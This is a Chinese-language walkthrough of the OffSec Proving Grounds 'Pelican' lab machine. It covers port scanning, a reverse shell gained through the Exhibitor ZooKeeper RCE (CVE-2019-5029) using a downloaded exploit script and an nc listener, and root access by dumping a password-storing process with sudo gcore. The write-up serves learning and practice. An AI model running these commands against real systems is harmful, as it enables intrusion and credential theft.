本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Pelican
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界(获取用户旗帜):
系统 8080 端口 –> EXHIBITOR-WEB-UI-RCE (CVE-2019-5029) –> charles 用户权限 –> 用户旗帜
提权(获取管理员权限)
gcore sudo 权限 –> 转储 /usr/bin/password-store 进程 –> strings 查看 –> 获取 root 用户密码 –> 管理员旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 sudo nmap -p- 192.168.163.98 --min-rate=2000 PORT STATE SERVICE 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds 631/tcp open ipp 2181/tcp open eforward 2222/tcp open EtherNetIP-1 8080/tcp open http-proxy 8081/tcp open blackice-icecap 39605/tcp open unknown
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 sudo nmap -p22,139,445,631,2181,2222,8080,8081,39605 -sCV 192.168.163.98 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA) | 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA) |_ 256 f2:eb:fc :45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 631/tcp open ipp CUPS 2.2 |_http-server-header: CUPS/2.2 IPP/2.1 | http-methods: |_ Potentially risky methods: PUT |_http-title: Forbidden - CUPS v2.2.10 2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014) 2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA) | 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA) |_ 256 f2:eb:fc :45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519) 8080/tcp open http Jetty 1.0 |_http-server-header: Jetty(1.0) |_http-title: Error 404 Not Found 8081/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://192.168.163.98:8080/exhibitor/v1/ui/index.html 39605/tcp open java-rmi Java RMI Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h20m00s, deviation: 2h18m37s, median: -1s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date : 2025-08-19T12:54:46 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: pelican | NetBIOS computer name: PELICAN\x00 | Domain name: \x00 | FQDN: pelican |_ System time : 2025-08-19T08:54:48-04:00
系统为 Linux 环境,开放有 HTTP、SSH、 zookeeper 服务。
3.2 渗透测试突破边界(获取用户旗帜) 3.2.1 EXHIBITOR-WEB-UI-RCE (CVE-2019-5029) 根据 nmap 扫描结果,系统除 SSH 服务外还存在多个 HTTP 服务,经排查,发现系统 8080 端口运行了 Exhibitor for ZooKeeper V1.0 服务。
搜索引擎检索后,发现该系统可能存在 RCE 漏洞,参考如下链接:
1 https://github.com/thehunt1s0n/Exihibitor-RCE/blob/main/exploit.sh
在 kali 使用 nc 监听 1234 端口,执行漏洞利用脚本,成功获取到系统 charles 用户权限 shell。
1 2 3 4 5 6 7 8 wget https://raw.githubusercontent.com/thehunt1s0n/Exihibitor-RCE/refs/heads/main/exploit.sh && chmod +x exploit.sh nc -lvnp 1234 ./exploit.sh 192.168.163.98 8080 192.168.45.172 1234
升级 shell 为交互式。
1 2 3 4 5 6 python3 -c 'import pty;pty.spawn("/bin/bash")' Ctrl + Zstty raw -echo ;fg export SHELL=/bin/bashexport TERM=screenstty rows 33 columns 157
3.2.2 用户旗帜获取
3.3 提权获取系统管理员权限、 3.3.1 Gcore sudo 提权,获取 root 用户密码 当前获取的 shell 可通过 sudo 执行 gcore 命令,而 gcore 可转储进程文件。
1 2 sudo -l https://gtfobins.github.io/gtfobins/gcore/#sudo
检索系统进程时,发现疑似存在 password 的进程。
将 pid 513 进程文件转储至本地。
1 sudo -u root /usr/bin/gcore 513
通过 strings 查看文件字符串内容,发现 root 用户密码。
su 命令切换至 root 用户。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨